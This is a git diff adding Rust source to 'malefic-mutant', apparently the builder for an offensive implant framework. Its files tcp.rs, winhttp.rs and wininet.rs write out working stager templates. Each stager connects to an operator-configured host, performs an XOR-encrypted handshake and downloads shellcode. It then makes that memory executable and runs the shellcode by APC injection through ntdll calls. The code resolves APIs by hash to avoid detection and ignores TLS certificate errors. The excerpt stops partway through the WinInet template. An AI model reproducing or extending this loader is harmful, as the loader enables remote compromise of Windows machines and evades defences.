+ // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_closesocket(sock); + return; + }} + + // Copy any shellcode data already received after the 9-byte header + let shellcode_start = body_start + 9; + let mut shellcode_recv = 0usize; + if shellcode_start < total_recv {{ + shellcode_recv = total_recv - shellcode_start; + crate::memory::copy( + base_addr as *mut u8, + recv_buf.as_ptr().add(shellcode_start), + shellcode_recv as u32, + ); + }} + + // Receive remaining shellcode + while shellcode_recv < recv_len as usize {{ + let ret = p_recv( + sock, + (base_addr as *mut u8).add(shellcode_recv), + (recv_len as usize - shellcode_recv) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} + shellcode_recv += ret as usize; + }} + p_closesocket(sock); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + header_len = http_header.len(), + header_bytes = header_bytes, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/build/pulse/mod.rs b/malefic-mutant/src/build/pulse/mod.rs new file mode 100644 index 0000000..b443ce7 --- /dev/null +++ b/malefic-mutant/src/build/pulse/mod.rs @@ -0,0 +1,44 @@ +use crate::config::{GenerateArch, PulseConfig, TransportApiType, TransportProtocolType, Version}; + +mod http; +mod tcp; +pub(crate) mod utils; +mod winhttp; +mod wininet; + +pub fn pulse_generate( + config: PulseConfig, + arch: GenerateArch, + version: Version, + source: bool, +) -> anyhow::Result<()> { + let protocol: TransportProtocolType = config.protocol.parse()?; + let api_type: TransportApiType = if config.api_type.is_empty() { + TransportApiType::Raw + } else { + config.api_type.parse()? + }; + + let tls = matches!(protocol, TransportProtocolType::Https); + + match (protocol, api_type) { + (TransportProtocolType::Tcp, _) => tcp::generate_tcp_pulse(config, arch, &version, source), + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::Raw) => { + if tls { + anyhow::bail!("https protocol requires api_type 'winhttp' or 'wininet', raw socket does not support TLS"); + } + http::generate_http_pulse(config, arch, &version, source) + } + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::WinHttp) => { + winhttp::generate_winhttp_pulse(config, arch, &version, source, tls) + } + (TransportProtocolType::Http | TransportProtocolType::Https, TransportApiType::WinInet) => { + wininet::generate_wininet_pulse(config, arch, &version, source, tls) + } + } +} + +#[allow(dead_code)] +pub fn djb2_hash(s: &str) -> u32 { + utils::djb2_hash(s) +} diff --git a/malefic-mutant/src/build/pulse/tcp.rs b/malefic-mutant/src/build/pulse/tcp.rs new file mode 100644 index 0000000..b123e1a --- /dev/null +++ b/malefic-mutant/src/build/pulse/tcp.rs @@ -0,0 +1,225 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_tcp_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + // Load ws2_32.dll + let dll_name: [u8; 11] = [b'w', b's', b'2', b'_', b'3', b'2', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let ws2 = load_lib(dll_name.as_ptr() as *mut u8); + if ws2.is_null() {{ return; }} + let ws2_base = ws2 as usize; + + // Resolve WinSock APIs via hash + let wsa_startup: FnWSAStartup = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("WSAStartup") as usize)); + let p_socket: FnSocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("socket") as usize)); + let p_connect: FnConnect = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("connect") as usize)); + let p_send: FnSend = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("send") as usize)); + let p_recv: FnRecv = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("recv") as usize)); + let p_closesocket: FnClosesocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("closesocket") as usize)); + let p_inet_addr: FnInetAddr = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("inet_addr") as usize)); + let p_htons: FnHtons = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("htons") as usize)); + + // WSAStartup + let mut wsa_data: WSADATA = core::mem::zeroed(); + if wsa_startup(0x0202, &mut wsa_data) != 0 {{ return; }} + + // Create socket + let sock = p_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if sock == 0 || sock == usize::MAX {{ return; }} + + // Connect + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let addr = SOCKADDR_IN {{ + sin_family: AF_INET as i16, + sin_port: p_htons({port}), + sin_addr: IN_ADDR {{ s_addr: p_inet_addr(ip_addr.as_ptr()) }}, + sin_zero: [0; 8], + }}; + if p_connect(sock, &addr, core::mem::size_of::() as i32) != 0 {{ + p_closesocket(sock); + return; + }} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt and send + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + let ret = p_send(sock, body.as_ptr(), 10, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} + + // Receive response header (9 bytes) + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0usize; + while offset < 9 {{ + let ret = p_recv(sock, resp.as_mut_ptr().add(offset), (9 - offset) as i32, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} + offset += ret as usize; + }} + + // Decrypt and validate + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ p_closesocket(sock); return; }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ p_closesocket(sock); return; }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_closesocket(sock); + return; + }} + + // Receive shellcode + let mut real_len = 0u32; + loop {{ + let ret = p_recv( + sock, + (base_addr as *mut u8).add(real_len as usize), + (recv_len - real_len + 1) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} + real_len += ret as u32; + if real_len >= recv_len + 1 {{ break; }} + }} + p_closesocket(sock); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, // +1 for null terminator in the array type + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/build/pulse/utils.rs b/malefic-mutant/src/build/pulse/utils.rs new file mode 100644 index 0000000..80e3f9e --- /dev/null +++ b/malefic-mutant/src/build/pulse/utils.rs @@ -0,0 +1,14 @@ +pub(crate) static TARGET_INSTANCE_PATH: &str = "malefic-pulse/src/instance.rs"; +pub(crate) static INSTANCE_TEMPLATE_PATH: &str = "malefic-pulse/src/template/instance_template"; + +/// Compute DJB2 hash at generation time (matches server-side hash.DJB2Hash) +pub(crate) fn djb2_hash(s: &str) -> u32 { + let mut hash: u32 = 5381; + for &byte in s.as_bytes() { + hash = hash + .wrapping_shl(5) + .wrapping_add(hash) + .wrapping_add(byte as u32); + } + hash +} diff --git a/malefic-mutant/src/build/pulse/winhttp.rs b/malefic-mutant/src/build/pulse/winhttp.rs new file mode 100644 index 0000000..9c09705 --- /dev/null +++ b/malefic-mutant/src/build/pulse/winhttp.rs @@ -0,0 +1,379 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_winhttp_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, + tls: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + + // WinHTTP uses wide strings (LPCWSTR) - pre-generate u16 arrays at codegen time + let ip_wide = format_wide_literals(ip); + let ip_wide_len = wide_len(ip); + let method_wide = format_wide_literals(&config.http.method); + let method_wide_len = wide_len(&config.http.method); + let path_wide = format_wide_literals(&config.http.path); + let path_wide_len = wide_len(&config.http.path); + + // Build headers wide string: "Header1: Value1\r\nHeader2: Value2\r\n" + let mut headers_str = String::new(); + for (k, v) in &config.http.headers { + headers_str.push_str(&format!("{}: {}\r\n", k, v)); + } + let has_headers = !headers_str.is_empty(); + let headers_wide = format_wide_literals(&headers_str); + let headers_wide_len = wide_len(&headers_str); + + // WinHTTP flags + let request_flags = if tls { + "0x00800000u32" // WINHTTP_FLAG_SECURE + } else { + "0u32" + }; + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + // Load winhttp.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'h', b't', b't', b'p', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() {{ return; }} + let dll_base = h_dll as usize; + + // Resolve WinHTTP APIs via hash + let p_winhttp_open: FnWinHttpOpen = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpen") as usize)); + let p_winhttp_connect: FnWinHttpConnect = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpConnect") as usize)); + let p_winhttp_open_request: FnWinHttpOpenRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpOpenRequest") as usize)); + let p_winhttp_send_request: FnWinHttpSendRequest = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSendRequest") as usize)); + let p_winhttp_receive_response: FnWinHttpReceiveResponse = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReceiveResponse") as usize)); + let p_winhttp_read_data: FnWinHttpReadData = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpReadData") as usize)); + let p_winhttp_close_handle: FnWinHttpCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpCloseHandle") as usize)); + let p_winhttp_set_option: FnWinHttpSetOption = core::mem::transmute( + resolve::_api(dll_base, hash_str!("WinHttpSetOption") as usize)); + + // WinHttpOpen(userAgent, WINHTTP_ACCESS_TYPE_NO_PROXY=1, null, null, 0) + let h_session = p_winhttp_open( + core::ptr::null(), + 1u32, + core::ptr::null(), + core::ptr::null(), + 0u32, + ); + if h_session.is_null() {{ return; }} + + // WinHttpConnect(hSession, server, port, 0) + let server: [u16; {ip_wide_len}] = [{ip_wide}]; + let h_connect = p_winhttp_connect( + h_session, + server.as_ptr(), + {port}u16, + 0u32, + ); + if h_connect.is_null() {{ + p_winhttp_close_handle(h_session); + return; + }} + + // WinHttpOpenRequest(hConnect, method, path, null, null, null, flags) + let method: [u16; {method_wide_len}] = [{method_wide}]; + let path: [u16; {path_wide_len}] = [{path_wide}]; + let flags: DWORD = {request_flags}; + let h_request = p_winhttp_open_request( + h_connect, + method.as_ptr(), + path.as_ptr(), + core::ptr::null(), + core::ptr::null(), + core::ptr::null(), + flags, + ); + if h_request.is_null() {{ + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + {tls_ignore_cert} + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // WinHttpSendRequest(hRequest, headers, headersLen, body, bodyLen, totalLen, context) + {headers_decl} + let ret = p_winhttp_send_request( + h_request, + {headers_ptr}, + {headers_param_len}, + body.as_ptr() as PVOID, + 10u32, + 10u32, + 0usize, + ); + if ret == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // WinHttpReceiveResponse + let ret = p_winhttp_receive_response(h_request, core::ptr::null_mut()); + if ret == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Read response body: first 9 bytes header + let mut resp: [u8; 9] = [0; 9]; + let mut offset = 0u32; + while offset < 9 {{ + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + resp.as_mut_ptr().add(offset as usize) as PVOID, + 9 - offset, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + offset += bytes_read; + }} + + // Decrypt and validate response + counter = 0; + xor_process(&mut resp, &key, &iv, &mut counter); + if resp[0] != {start}u8 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + let recv_magic = u32::from_le_bytes([resp[1], resp[2], resp[3], resp[4]]); + let recv_len = u32::from_le_bytes([resp[5], resp[6], resp[7], resp[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + + // Read shellcode via WinHttpReadData + let mut total_read: u32 = 0; + while total_read < recv_len {{ + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 {{ + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + }} + total_read += bytes_read; + }} + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_wide_len = ip_wide_len, + ip_wide = ip_wide, + port = port, + method_wide_len = method_wide_len, + method_wide = method_wide, + path_wide_len = path_wide_len, + path_wide = path_wide, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + headers_decl = if has_headers { + format!( + "let req_headers: [u16; {}] = [{}];", + headers_wide_len, headers_wide + ) + } else { + String::new() + }, + headers_ptr = if has_headers { + "req_headers.as_ptr()" + } else { + "core::ptr::null()" + }, + headers_param_len = if has_headers { + format!("{}u32", headers_str.len()) // character count, not u16 count + } else { + "0u32".to_string() + }, + request_flags = request_flags, + tls_ignore_cert = if tls { + r#"// Ignore certificate errors for self-signed certs + // WINHTTP_OPTION_SECURITY_FLAGS = 31 + // WinHTTP does not support SECURITY_FLAG_IGNORE_REVOCATION (0x80), + // revocation checking is disabled by default in WinHTTP. + let mut sec_flags: DWORD = 0x00000100u32 | 0x00000200u32 | 0x00001000u32 | 0x00002000u32; + p_winhttp_set_option( + h_request, + 31u32, + &mut sec_flags as *mut DWORD as PVOID, + 4u32, + );"# + } else { + "" + }, + start = config.flags.start, + end = config.flags.end, + magic = format!("0x{:08x}", magic), + artifact_id = config.flags.artifact_id, + ); + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; + + Ok(()) +} + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} + +/// Format a string as a wide (UTF-16LE) u16 array literal, null-terminated +fn format_wide_literals(s: &str) -> String { + s.encode_utf16() + .chain(core::iter::once(0u16)) + .map(|c| format!("0x{:04x}", c)) + .collect::>() + .join(", ") +} + +/// Get the length of the wide string array (including null terminator) +fn wide_len(s: &str) -> usize { + s.encode_utf16().count() + 1 // +1 for null terminator +} diff --git a/malefic-mutant/src/build/pulse/wininet.rs b/malefic-mutant/src/build/pulse/wininet.rs new file mode 100644 index 0000000..382d9e9 --- /dev/null +++ b/malefic-mutant/src/build/pulse/wininet.rs @@ -0,0 +1,354 @@ +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; +use crate::config::{GenerateArch, PulseConfig, Version}; + +pub fn generate_wininet_pulse( + config: PulseConfig, + _arch: GenerateArch, + _version: &Version, + _source: bool, + tls: bool, +) -> anyhow::Result<()> { + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); + } + let template = std::fs::read_to_string(template_path)?; + + let url = &config.target; + if url.is_empty() { + anyhow::bail!("target url is empty."); + } + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + + let magic = djb2_hash(&config.flags.magic); + let key = &config.key; + let iv: String = key.chars().rev().collect(); + + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + + // Build HTTP headers string for HttpSendRequestA: "Header1: Value1\r\nHeader2: Value2\r\n" + let mut headers_str = String::new(); + for (k, v) in &config.http.headers { + headers_str.push_str(&format!("{}: {}\r\n", k, v)); + } + let headers_bytes = format_byte_literals(headers_str.as_bytes()); + + let method_bytes = format_byte_literals(config.http.method.as_bytes()); + let path_bytes = format_byte_literals(config.http.path.as_bytes()); + + // WinInet flags: INTERNET_FLAG_RELOAD always, plus INTERNET_FLAG_SECURE + cert ignore if tls + let request_flags = if tls { + // INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + "0x00800000u32 | 0x80000000u32 | 0x00001000u32 | 0x00002000u32" + } else { + "0x80000000u32" // INTERNET_FLAG_RELOAD only + }; + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} + }} + + // Load wininet.dll + let dll_name: [u8; 12] = [b'w', b'i', b'n', b'i', b'n', b'e', b't', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let h_dll = load_lib(dll_name.as_ptr() as *mut u8); + if h_dll.is_null() {{ return; }} + let dll_base = h_dll as usize; + + // Resolve WinInet APIs via hash + let p_internet_open: FnInternetOpenA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetOpenA") as usize)); + let p_internet_connect: FnInternetConnectA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetConnectA") as usize)); + let p_http_open_request: FnHttpOpenRequestA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("HttpOpenRequestA") as usize)); + let p_http_send_request: FnHttpSendRequestA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("HttpSendRequestA") as usize)); + let p_internet_read_file: FnInternetReadFile = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetReadFile") as usize)); + let p_internet_close_handle: FnInternetCloseHandle = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetCloseHandle") as usize)); + let p_internet_set_option: FnInternetSetOptionA = core::mem::transmute( + resolve::_api(dll_base, hash_str!("InternetSetOptionA") as usize)); + + // User-Agent string + let ua: [u8; 1] = [0]; // empty user agent + + // InternetOpenA(agent, INTERNET_OPEN_TYPE_DIRECT=1, null, null, 0) + let h_internet = p_internet_open( + ua.as_ptr() as PSTR, + 1u32, + core::ptr::null_mut(), + core::ptr::null_mut(), + 0u32, + ); + if h_internet.is_null() {{ return; }} + + // InternetConnectA(hInternet, server, port, null, null, INTERNET_SERVICE_HTTP=3, 0, 0) + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let h_connect = p_internet_connect( + h_internet, + ip_addr.as_ptr() as PSTR, + {port}u16, + core::ptr::null_mut(), + core::ptr::null_mut(), + 3u32, + 0u32, + 0usize, + ); + if h_connect.is_null() {{ + p_internet_close_handle(h_internet); + return; + }} + + // HttpOpenRequestA(hConnect, method, path, version, null, null, flags, 0) + let method: [u8; {method_len}] = [{method_bytes}, 0]; + let path: [u8; {path_len}] = [{path_bytes}, 0]; + let flags: DWORD = {request_flags}; + let h_request = p_http_open_request( + h_connect, + method.as_ptr() as PSTR, + path.as_ptr() as PSTR, + core::ptr::null_mut(), + core::ptr::null_mut(), + core::ptr::null_mut(), + flags, + 0usize, + ); + if h_request.is_null() {{ + 